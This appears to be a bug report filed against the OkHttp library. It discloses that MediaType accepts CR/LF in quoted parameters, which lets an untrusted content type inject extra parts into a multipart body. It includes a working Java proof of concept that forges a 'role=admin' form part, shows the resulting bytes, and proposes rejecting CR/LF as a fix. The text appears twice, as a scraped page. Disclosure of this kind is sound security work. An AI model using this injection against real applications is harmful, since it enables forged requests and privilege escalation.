MediaType accepts CR and LF inside a quoted parameter, while MultipartBody writes that media type directly into the part header, so a content type taken from untrusted input can end the header block and append new multipart parts. The same exact string is rejected if it goes through the ordinary request-header path, so AFAICT, this is not intentional.
The regex for quoted parameters is in
|
private const val QUOTED = "\"([^\"]*)\"" |
, which is problematic because the negated character class also matches CR and LF.
toString() just returns the original string:
|
override fun toString(): String = mediaType |
.
MultipartBody.writeOrCountBytes then writes "Content-Type: " + contentType + CRLF:
|
|
|
val contentType = body.contentType() |
|
if (contentType != null) { |
|
sink |
|
.writeUtf8("Content-Type: ") |
|
.writeUtf8(contentType.toString()) |
with no validation in between.
A quick demo:
import okhttp3.Headers;
import okhttp3.MediaType;
import okhttp3.MultipartBody;
import okhttp3.RequestBody;
import okio.Buffer;
public class Poc36 {
public static void main(String[] args) throws Exception {
String attackerControlled =
"text/plain; charset=\"a\r\n"
+ "\r\n"
+ "injected part body\r\n"
+ "--BOUNDARY\r\n"
+ "Content-Disposition: form-data; name=role\r\n"
+ "\r\n"
+ "admin\r\n"
+ "--BOUNDARY--\r\n"
+ "\"";
MediaType mediaType = MediaType.parse(attackerControlled);
System.out.println("MediaType.parse accepted it : " + (mediaType != null));
try {
new Headers.Builder().add("Content-Type", mediaType.toString());
System.out.println("outer request header path : accepted");
} catch (IllegalArgumentException e) {
System.out.println("outer request header path : rejected (" + e.getMessage().split("\n")[0] + ")");
}
MultipartBody body = new MultipartBody.Builder("BOUNDARY")
.setType(MultipartBody.FORM)
.addFormDataPart("upload", "note.txt", RequestBody.create("original content".getBytes(), mediaType))
.build();
Buffer wire = new Buffer();
body.writeTo(wire);
System.out.println("\n--- bytes on the wire ---");
System.out.print(wire.readUtf8());
}
}
which results in:
MediaType.parse accepted it : true
outer request header path : rejected (Unexpected char 0x0d at 22 in Content-Type value: text/plain; charset="a)
--- bytes on the wire ---
--BOUNDARY
Content-Disposition: form-data; name="upload"; filename="note.txt"
Content-Type: text/plain; charset="a
injected part body
--BOUNDARY
Content-Disposition: form-data; name=role
admin
--BOUNDARY--
"
original content
--BOUNDARY--
So the injected/forged role=admin part is complete and well formed, and because the terminating boundary is now before the real content, the application's "real" partbody ends up in the end and gets dropped.
Looking around a bit, this seems to be the only place where CR and LF are not rejected, so the fix seems to be just to reject CR/LF in MediaType.
MediaTypeaccepts CR and LF inside a quoted parameter, whileMultipartBodywrites that media type directly into the part header, so a content type taken from untrusted input can end the header block and append new multipart parts. The same exact string is rejected if it goes through the ordinary request-header path, so AFAICT, this is not intentional.The regex for quoted parameters is in
okhttp/okhttp/src/commonJvmAndroid/kotlin/okhttp3/MediaType.kt
Line 94 in b830f03
toString()just returns the original string:okhttp/okhttp/src/commonJvmAndroid/kotlin/okhttp3/MediaType.kt
Line 86 in b830f03
MultipartBody.writeOrCountBytesthen writes"Content-Type: " + contentType + CRLF:okhttp/okhttp/src/commonJvmAndroid/kotlin/okhttp3/MultipartBody.kt
Lines 145 to 150 in b830f03
A quick demo:
which results in:
So the injected/forged
role=adminpart is complete and well formed, and because the terminating boundary is now before the real content, the application's "real" partbody ends up in the end and gets dropped.Looking around a bit, this seems to be the only place where CR and LF are not rejected, so the fix seems to be just to reject CR/LF in MediaType.